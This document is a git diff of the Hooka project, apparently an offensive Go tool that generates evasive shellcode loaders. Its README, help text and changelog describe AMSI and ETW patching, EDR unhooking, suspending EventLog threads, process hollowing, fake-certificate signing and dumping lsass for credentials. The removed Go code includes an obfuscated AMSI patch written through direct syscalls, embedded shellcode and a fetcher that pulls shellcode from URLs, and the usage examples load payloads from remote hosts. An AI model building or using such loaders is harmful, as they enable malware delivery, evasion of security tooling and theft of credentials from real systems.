new version, this tool has been completely reworked.
@@ -1,30 +0,0 @@
|
||||
- Merge pull request #3 from D3Ext/dependabot/go_modules/golang.org/x/sys-0.12.0
|
||||
- Bump golang.org/x/sys from 0.8.0 to 0.12.0
|
||||
- Merge pull request #4 from D3Ext/dependabot/go_modules/github.com/google/uuid-1.3.1
|
||||
- Bump github.com/google/uuid from 1.3.0 to 1.3.1
|
||||
- Merge pull request #2 from D3Ext/dependabot/go_modules/github.com/D3Ext/maldev-0.1.4
|
||||
- Merge branch 'main' of https://github.com/D3Ext/Hooka
|
||||
- ACG supported, examples added, Makefile, README update and typos fixed
|
||||
- Bump github.com/D3Ext/maldev from 0.1.3 to 0.1.4
|
||||
- Create dependabot.yml
|
||||
- weird package error, undefines RtlCreateUserThread
|
||||
- little fix
|
||||
- new features, shellcode injection techniques, fixes and much more
|
||||
- little change
|
||||
- UAC bypass, anti-sandbox functions, general improvements and more
|
||||
- new TODOs
|
||||
- remote dll support
|
||||
- remove unnecessary lines - little changes
|
||||
- little changes
|
||||
- v0.1 - major changes, firex, code improvement and more
|
||||
- halo's gate, uuidfromstring injection, more CLI flags and more
|
||||
- stable amsi patch, more functions and other improvements
|
||||
- new example images added
|
||||
- updated README.md
|
||||
- issue templates added
|
||||
- more functions and implementations
|
||||
- initial commit
|
||||
- Create FUNDING.yml
|
||||
- Update README.md
|
||||
- Update README.md
|
||||
- Initial commit
|
||||
@@ -1,74 +0,0 @@
|
||||
# Contributor Covenant Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
In the interest of fostering an open and welcoming environment, we as
|
||||
contributors and maintainers pledge to making participation in our project and
|
||||
our community a harassment-free experience for everyone, regardless of age, body
|
||||
size, disability, ethnicity, gender identity and expression, level of experience,
|
||||
education, socio-economic status, nationality, personal appearance, race,
|
||||
religion, or sexual identity and orientation.
|
||||
|
||||
## Our Standards
|
||||
|
||||
Examples of behavior that contributes to creating a positive environment
|
||||
include:
|
||||
|
||||
* Using welcoming and inclusive language
|
||||
* Being respectful of differing viewpoints and experiences
|
||||
* Gracefully accepting constructive criticism
|
||||
* Focusing on what is best for the community
|
||||
* Showing empathy towards other community members
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery and unwelcome sexual attention or
|
||||
advances
|
||||
* Trolling, insulting/derogatory comments, and personal or political attacks
|
||||
* Public or private harassment
|
||||
* Publishing others' private information, such as a physical or electronic
|
||||
address, without explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a
|
||||
professional setting
|
||||
|
||||
## Our Responsibilities
|
||||
|
||||
Project maintainers are responsible for clarifying the standards of acceptable
|
||||
behavior and are expected to take appropriate and fair corrective action in
|
||||
response to any instances of unacceptable behavior.
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or
|
||||
reject comments, commits, code, wiki edits, issues, and other contributions
|
||||
that are not aligned to this Code of Conduct, or to ban temporarily or
|
||||
permanently any contributor for other behaviors that they deem inappropriate,
|
||||
threatening, offensive, or harmful.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community. Examples of
|
||||
representing a project or community include using an official project e-mail
|
||||
address, posting via an official social media account, or acting as an appointed
|
||||
representative at an online or offline event. Representation of a project may be
|
||||
further defined and clarified by project maintainers.
|
||||
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project team at [d3ext@proton.me]. All
|
||||
complaints will be reviewed and investigated and will result in a response that
|
||||
is deemed necessary and appropriate to the circumstances. The project team is
|
||||
obligated to maintain confidentiality with regard to the reporter of an incident.
|
||||
Further details of specific enforcement policies may be posted separately.
|
||||
|
||||
Project maintainers who do not follow or enforce the Code of Conduct in good
|
||||
faith may face temporary or permanent repercussions as determined by other
|
||||
members of the project's leadership.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
|
||||
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
|
||||
|
||||
[homepage]: https://www.contributor-covenant.org
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
# Contributing to Hooka
|
||||
|
||||
Contributions are welcomed! This document provides some basic guidelines for contributors.
|
||||
|
||||
## Found a bug?
|
||||
|
||||
- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.
|
||||
- Include the problem description in the issue.
|
||||
|
||||
## Pull Requests
|
||||
|
||||
When creating a PR, please follow these guidelines:
|
||||
|
||||
- Link your PR to the corresponding issue.
|
||||
- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.
|
||||
- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.
|
||||
- Include steps for functional testing or replication.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Please run `go fmt ./...` before committing to ensure code aligns with go standards.
|
||||
- Ensure to lint your code before submitting PR
|
||||
- All dependencies must be defined in the go.mod file
|
||||
- Check [https://go.dev/doc/effective_go](https://go.dev/doc/effective_go) for further details
|
||||
|
||||
## Questions
|
||||
|
||||
If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext***
|
||||
|
||||
Thank you for your contribution!
|
||||
|
||||
## License
|
||||
|
||||
By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/Hooka/blob/main/LICENSE).
|
||||
|
||||
All files are released with the MIT license.
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 D3Ext
|
||||
Copyright (c) 2024 D3Ext
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,9 +1,32 @@
|
||||
CC = go
|
||||
EXECUTABLE=hooka
|
||||
WINDOWS=$(EXECUTABLE)_windows_amd64.exe
|
||||
LINUX=$(EXECUTABLE)_linux_amd64
|
||||
DARWIN=$(EXECUTABLE)_darwin_amd64
|
||||
|
||||
all:
|
||||
mkdir build/
|
||||
export CGO_ENABLED=0
|
||||
GOARCH=amd64 GOOS=windows $(CC) build -o build/hooka-amd64-windows.exe main.go
|
||||
.PHONY: all clean
|
||||
|
||||
all: build ## Build all
|
||||
|
||||
build: windows linux darwin ## Build binaries
|
||||
|
||||
windows: $(WINDOWS) ## Build for Windows
|
||||
|
||||
linux: $(LINUX) ## Build for Linux
|
||||
|
||||
darwin: $(DARWIN) ## Build for Darwin (macOS)
|
||||
|
||||
$(WINDOWS):
|
||||
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
|
||||
$(LINUX):
|
||||
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
|
||||
$(DARWIN):
|
||||
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
|
||||
|
||||
clean: ## Remove previous build
|
||||
rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN)
|
||||
|
||||
help: ## Display available commands
|
||||
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
|
||||
|
||||
clean:
|
||||
rm -rf build/
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
<p align="center">
|
||||
<img src="assets/gopher.png" width="130" heigth="60" alt="Gopher"/>
|
||||
<h1 align="center">Hooka</h1>
|
||||
<h4 align="center">Evasive shellcode loader, hooks detector and more</h4>
|
||||
<h4 align="center">Shellcode loader generator with multiples features</h4>
|
||||
<h6 align="center">Coded with 💙 by D3Ext</h6>
|
||||
</p>
|
||||
|
||||
@@ -19,11 +18,6 @@
|
||||
<img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat">
|
||||
</a>
|
||||
|
||||
<a href="https://goreportcard.com/report/github.com/D3Ext/Hooka">
|
||||
<img src="https://goreportcard.com/badge/github.com/D3Ext/Hooka" alt="go report card">
|
||||
</a>
|
||||
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
@@ -31,180 +25,160 @@
|
||||
<a href="#features">Features</a> •
|
||||
<a href="#usage">Usage</a> •
|
||||
<a href="#library">Library</a> •
|
||||
<a href="#contributing">Contributing</a> •
|
||||
<a href="#disclaimer">Disclaimer</a>
|
||||
</p>
|
||||
|
||||
# Introduction
|
||||
|
||||
I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want.
|
||||
|
||||
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
|
||||
|
||||
***Tested on x64, Windows 10***
|
||||
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not?
|
||||
|
||||
# Features
|
||||
|
||||
- Get shellcode from remote URL or local file
|
||||
- Shellcode reflective DLL injection (***sRDI***)
|
||||
- ***AMSI*** and ***ETW*** patch
|
||||
- ***Phant0m*** technique to kill EventLog threads (see [here](https://github.com/hlldz/Phant0m))
|
||||
- Detects hooked functions (i.e. NtCreateThread)
|
||||
- Compatible with base64 and hex encoded shellcode
|
||||
- Hell's Gate + Halo's Gate technique
|
||||
- Capable of unhooking user-mode syscalls via multiple techniques:
|
||||
- Classic unhooking
|
||||
- Full DLL unhooking
|
||||
- Perun's Fart technique
|
||||
This tool is able to generate loaders with this features:
|
||||
|
||||
- Multiple shellcode injection techniques:
|
||||
- CreateRemoteThread
|
||||
- CreateProcess
|
||||
- EnumSystemLocales
|
||||
- Fibers
|
||||
- QueueUserApc
|
||||
- UuidFromString
|
||||
- SuspendedProcess
|
||||
- ProcessHollowing
|
||||
- NtCreateThreadEx
|
||||
- EtwpCreateEtwThread
|
||||
- RtlCreateUserThread
|
||||
- NtQueueApcThreadEx
|
||||
- No-RWX
|
||||
|
||||
- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique)
|
||||
- Dump lsass.exe process to a file
|
||||
- Get shellcode from raw file, PE, DLL or from a URL
|
||||
- EXE and DLL are supported as output loader formats
|
||||
|
||||
- Encrypt shellcode using:
|
||||
- AES
|
||||
- 3DES
|
||||
- RC4
|
||||
- XOR
|
||||
|
||||
- AMSI and ETW patching (enabled by default)
|
||||
- Random variables and function names
|
||||
- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn))
|
||||
- Multiple ways to detect sandboxing
|
||||
- Enable ACG Guard protection
|
||||
- Block non-Microsoft signed DLLs from injecting into created processes
|
||||
|
||||
- Capable of unhooking user-mode hooks via multiple techniques:
|
||||
- Classic
|
||||
- Full DLL
|
||||
- Perun's Fart technique
|
||||
|
||||
- ***Phant0m*** technique to suspend EventLog threads (see [here](https://github.com/hlldz/Phant0m))
|
||||
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
|
||||
- Test mode (injects calc.exe shellcode)
|
||||
|
||||
- All already mentioned features available through official package API
|
||||
|
||||
***This repo is under development so it may contain errors, use it under your own responsability for legal testing purposes***
|
||||
- Sign shellcode loader with fake or real certificates
|
||||
- Strings obfuscation via Caesar cipher (see [here](https://en.wikipedia.org/wiki/Caesar_cipher))
|
||||
- Compress code weight using Golang compile and UPX (if it's installed)
|
||||
- Compute binary entropy of the loader
|
||||
- Compute MD5, SHA1 and SHA256 checksums to keep track of the loader
|
||||
|
||||
# Installation
|
||||
|
||||
- Just clone the repository like this:
|
||||
Just clone the repository like this:
|
||||
|
||||
```sh
|
||||
git clone https://github.com/D3Ext/Hooka
|
||||
cd Hooka
|
||||
make
|
||||
$ git clone https://github.com/D3Ext/Hooka
|
||||
$ cd Hooka
|
||||
$ make
|
||||
```
|
||||
|
||||
After that you will find the binary under the `build/` folder
|
||||
|
||||
# Usage
|
||||
|
||||
Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives:
|
||||
|
||||
```
|
||||
NtGetTickCount
|
||||
NtQuerySystemTime
|
||||
NtdllDefWindowProc_A
|
||||
NtdllDefWindowProc_W
|
||||
NtdllDialogWndProc_A
|
||||
NtdllDialogWndProc_W
|
||||
ZwQuerySystemTime
|
||||
```
|
||||
|
||||
- Let's see some examples
|
||||
|
||||
> Help panel
|
||||
```
|
||||
```
|
||||
|
||||
> Detect hooked functions by EDR (including false positives)
|
||||
```sh
|
||||
.\Hooka.exe --hooks
|
||||
_ _ _ _
|
||||
| | | | ___ ___ | | __ __ _ | |
|
||||
| |_| | / _ \ / _ \ | |/ / / _` | | |
|
||||
| _ | | (_) | | (_) | | < | (_| | |_|
|
||||
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
|
||||
|
||||
Usage of Hooka:
|
||||
REQUIRED:
|
||||
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
|
||||
-o, --output string name of output file (i.e. loader.exe)
|
||||
-f, --format string format of the payload to generate (available: exe, dll) (default exe)
|
||||
|
||||
EXECUTION:
|
||||
--proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
|
||||
--exec string technique used to load shellcode (default "SuspendedProcess"):
|
||||
SuspendedProcess
|
||||
ProcessHollowing
|
||||
NtCreateThreadEx
|
||||
EtwpCreateEtwThread
|
||||
NtQueueApcThreadEx
|
||||
No-RWX
|
||||
|
||||
AUXILIARY:
|
||||
-a, --arch string architecture of the loader to generate (default amd64)
|
||||
-c, --cert string certificate to sign generated loader with (i.e. cert.pfx)
|
||||
-d, --domain string domain used to sign loader (i.e. www.microsoft.com)
|
||||
|
||||
ENCODING:
|
||||
--enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
|
||||
--sgn use Shikata Ga Nai to encode generated loader (it must be installed on path)
|
||||
--strings obfuscate strings using Caesar cipher
|
||||
|
||||
EVASION:
|
||||
--unhook string unhooking technique to use (available: full, peruns)
|
||||
--sandbox enable sandbox evasion
|
||||
--no-amsi don't patch AMSI
|
||||
--no-etw don't patch ETW
|
||||
--hashing use hashes to retrieve function pointers
|
||||
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
|
||||
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
|
||||
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
|
||||
--sleep delay shellcode execution using a custom sleep function
|
||||
|
||||
EXTRA:
|
||||
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
|
||||
--compress compress generated loader using Golang compiler and UPX if it's installed
|
||||
-r, --rand use a random set of parameters to create a random loader (just for testing purposes)
|
||||
-v, --verbose enable verbose to print extra information
|
||||
-h, --help print help panel
|
||||
|
||||
Examples:
|
||||
hooka -i shellcode.bin -o loader.exe
|
||||
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
|
||||
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
|
||||
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
|
||||
```
|
||||
|
||||
> Test shellcode injection by spawning a calc.exe
|
||||
> Generate a simple EXE loader
|
||||
```sh
|
||||
.\Hooka.exe --test
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe
|
||||
```
|
||||
|
||||
> Inject shellcode from URL or file
|
||||
> Generate a DLL loader
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
|
||||
.\Hooka.exe --file shellcode.bin
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
|
||||
```
|
||||
|
||||
> Shellcode reflective dll injection (***sRDI***)
|
||||
> Use custom config (various examples)
|
||||
```sh
|
||||
.\Hooka.exe --dll evil.dll,xyz
|
||||
.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
|
||||
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
|
||||
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
|
||||
```
|
||||
|
||||
> Inject shellcode into remote process (i.e. werfault.exe) **Not all techniques covered!!**
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864
|
||||
```
|
||||
|
||||
> Decode shellcode as hex or base64
|
||||
```sh
|
||||
.\Hooka.exe --file shellcode.bin --hex
|
||||
.\Hooka.exe --file shellcode.bin --b64
|
||||
```
|
||||
|
||||
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
|
||||
```sh
|
||||
.\Hooka.exe -t CreateRemoteThreadHalos --url http://192.168.116.37/shellcode.bin
|
||||
```
|
||||
|
||||
> Unhook function before injecting shellcode
|
||||
```sh
|
||||
.\Hooka.exe --file shellcode.bin --unhook 3
|
||||
```
|
||||
|
||||
> Patch AMSI and/or ETW
|
||||
```sh
|
||||
.\Hooka.exe --amsi --url http://192.168.116.37/shellcode.bin
|
||||
.\Hooka.exe --etw --url http://192.168.116.37/shellcode.bin
|
||||
```
|
||||
|
||||
> Kill EventLog service threads (run as admin)
|
||||
```sh
|
||||
.\Hooka.exe --phantom
|
||||
```
|
||||
|
||||
> Dump lsass.exe memory to extract credentials (run as admin)
|
||||
```sh
|
||||
.\Hooka.exe --lsass dump.tmp
|
||||
```
|
||||
|
||||
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
|
||||
|
||||
# Demo
|
||||
|
||||
> Detecting hooks
|
||||
<img src="assets/hooks.png">
|
||||
<img src="https://raw.githubusercontent.com/D3Ext/Hooka/main/assets/demo1.png">
|
||||
|
||||
> Injecting shellcode via CreateRemoteThread technique
|
||||
<img src="assets/crt.png">
|
||||
|
||||
> Injecting shellcode using custom flags
|
||||
<img src="assets/custom.png">
|
||||
|
||||
> Test function
|
||||
<img src="assets/test.png">
|
||||
|
||||
> Dump lsass memory
|
||||
<img src="assets/lsass.png">
|
||||
<img src="https://raw.githubusercontent.com/D3Ext/Hooka/main/assets/demo2.png">
|
||||
|
||||
# TODO
|
||||
|
||||
:ballot_box_with_check: Block other processes to open our process like [BlockOpenHandle](https://github.com/TheD1rkMtr/BlockOpenHandle)
|
||||
|
||||
:ballot_box_with_check: Unhook patch (write bytes)
|
||||
|
||||
:black_square_button: `--pid` flag to handle process injection
|
||||
|
||||
:ballot_box_with_check: Function to find PIDs which haven't loaded a given DLL (i.e. umppc16606.dll)
|
||||
|
||||
:black_square_button: Remove Windows Defender privileges to make it useless (see [here](https://github.com/plackyhacker/SandboxDefender))
|
||||
|
||||
:black_square_button: Test unhooking functions against EDRs
|
||||
- Add direct and indirect syscall
|
||||
- Add Chacha20 cypher to encrypt shellcode
|
||||
- More OPSEC features
|
||||
- General improvement
|
||||
|
||||
# Library
|
||||
|
||||
To use the official package API see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
|
||||
|
||||
# Contributing
|
||||
|
||||
See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
|
||||
The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
|
||||
|
||||
# References
|
||||
|
||||
@@ -214,10 +188,16 @@ You can take a look at some of the mentioned techniques here:
|
||||
https://github.com/C-Sto/BananaPhone
|
||||
https://github.com/timwhitez/Doge-Gabh
|
||||
https://github.com/Ne0nd0g/go-shellcode
|
||||
https://github.com/optiv/Freeze
|
||||
https://github.com/f1zm0/acheron
|
||||
https://github.com/Enelg52/OffensiveGo
|
||||
https://github.com/trickster0/TartarusGate
|
||||
https://github.com/Kara-4search/HookDetection_CSharp
|
||||
https://github.com/RedLectroid/APIunhooker
|
||||
https://github.com/plackyhacker/Peruns-Fart
|
||||
https://github.com/rasta-mouse/TikiTorch
|
||||
https://github.com/phra/PEzor
|
||||
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
|
||||
https://github.com/chvancooten/maldev-for-dummies
|
||||
https://blog.sektor7.net/#!res/2021/perunsfart.md
|
||||
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
|
||||
@@ -225,28 +205,18 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
|
||||
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
|
||||
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
|
||||
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
|
||||
https://winternl.com/detecting-manual-syscalls-from-user-mode/
|
||||
```
|
||||
|
||||
# Disclaimer
|
||||
|
||||
Creator has no responsibility for any kind of:
|
||||
|
||||
- Illegal use of the project.
|
||||
- Law infringement by third parties and users.
|
||||
- Malicious act, capable of causing damage to third parties, promoted by the user through this software.
|
||||
|
||||
# Changelog
|
||||
|
||||
See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
|
||||
Use this project under your own responsability! The author is not responsible of any bad usage of the project.
|
||||
|
||||
# License
|
||||
|
||||
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
|
||||
|
||||
Copyright © 2023, *D3Ext*
|
||||
|
||||
# Support
|
||||
|
||||
<a href="https://www.buymeacoffee.com/D3Ext" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>
|
||||
Copyright © 2024, *D3Ext*
|
||||
|
||||
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 14 KiB |
|
Before Width: | Height: | Size: 27 KiB |
|
After Width: | Height: | Size: 61 KiB |
|
After Width: | Height: | Size: 83 KiB |
|
Before Width: | Height: | Size: 679 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 13 KiB |
|
Before Width: | Height: | Size: 32 KiB |
@@ -1,79 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
|
||||
|
||||
func PatchAmsi() error {
|
||||
err := WriteBytes(string([]byte{'a', 'm', 's', 'i', '.', 'd', 'l', 'l'}), string([]byte{'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'}), &amsi_patch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func WriteBytes(module string, proc string, data *[]byte) error {
|
||||
|
||||
target := syscall.NewLazyDLL(module).NewProc(proc)
|
||||
err := target.Find()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ZwWriteVirtualMemory, err := GetSysId(string([]byte{'Z', 'w', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtProtectVirtualMemory, err := GetSysId(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
baseAddress := target.Addr()
|
||||
numberOfBytesToProtect := uintptr(len(*data))
|
||||
var oldProtect uint32
|
||||
|
||||
ret, err := Syscall(
|
||||
NtProtectVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&baseAddress)),
|
||||
uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
|
||||
syscall.PAGE_EXECUTE_READWRITE,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
if ret != 0 || err != nil {
|
||||
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
|
||||
}
|
||||
|
||||
ret, err = Syscall(
|
||||
ZwWriteVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
target.Addr(),
|
||||
uintptr(unsafe.Pointer(&[]byte(*data)[0])),
|
||||
unsafe.Sizeof(*data),
|
||||
0,
|
||||
)
|
||||
if ret != 0 || err != nil {
|
||||
return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err)
|
||||
}
|
||||
|
||||
ret, err = Syscall(
|
||||
NtProtectVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&baseAddress)),
|
||||
uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
|
||||
uintptr(oldProtect),
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
if ret != 0 || err != nil {
|
||||
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,387 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha1"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// Third-party packages
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
|
||||
|
||||
type MayBeHookedError struct { // Define custom error for hooked functions
|
||||
Foundbytes []byte
|
||||
}
|
||||
|
||||
func (e MayBeHookedError) Error() string {
|
||||
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
|
||||
}
|
||||
|
||||
func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
|
||||
for _, hdr := range pefile.Sections {
|
||||
baseoffset := uint64(rva)
|
||||
if baseoffset > uint64(hdr.VirtualAddress) &&
|
||||
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
|
||||
return rva - hdr.VirtualAddress + hdr.Offset
|
||||
}
|
||||
}
|
||||
return rva
|
||||
}
|
||||
|
||||
func CheckBytes(b []byte) (uint16, error) {
|
||||
if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
|
||||
return 0, MayBeHookedError{Foundbytes: b}
|
||||
}
|
||||
|
||||
return binary.LittleEndian.Uint16(b[4:8]), nil
|
||||
}
|
||||
|
||||
// Generate a random integer between range
|
||||
func RandomInt(max int, min int) int { // Return a random number between max and min
|
||||
rand.Seed(time.Now().UnixNano())
|
||||
rand_int := rand.Intn(max-min+1) + min
|
||||
return rand_int
|
||||
}
|
||||
|
||||
func RandomString(length int) string { // Return random string passing an integer (length)
|
||||
var seededRand *rand.Rand = rand.New(
|
||||
rand.NewSource(time.Now().UnixNano()))
|
||||
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func CalcShellcode() []byte {
|
||||
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
|
||||
}
|
||||
|
||||
// Shellcode helper functions
|
||||
|
||||
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
|
||||
req, err := http.NewRequest("GET", sc_url, nil)
|
||||
if err != nil {
|
||||
return []byte(""), err
|
||||
}
|
||||
|
||||
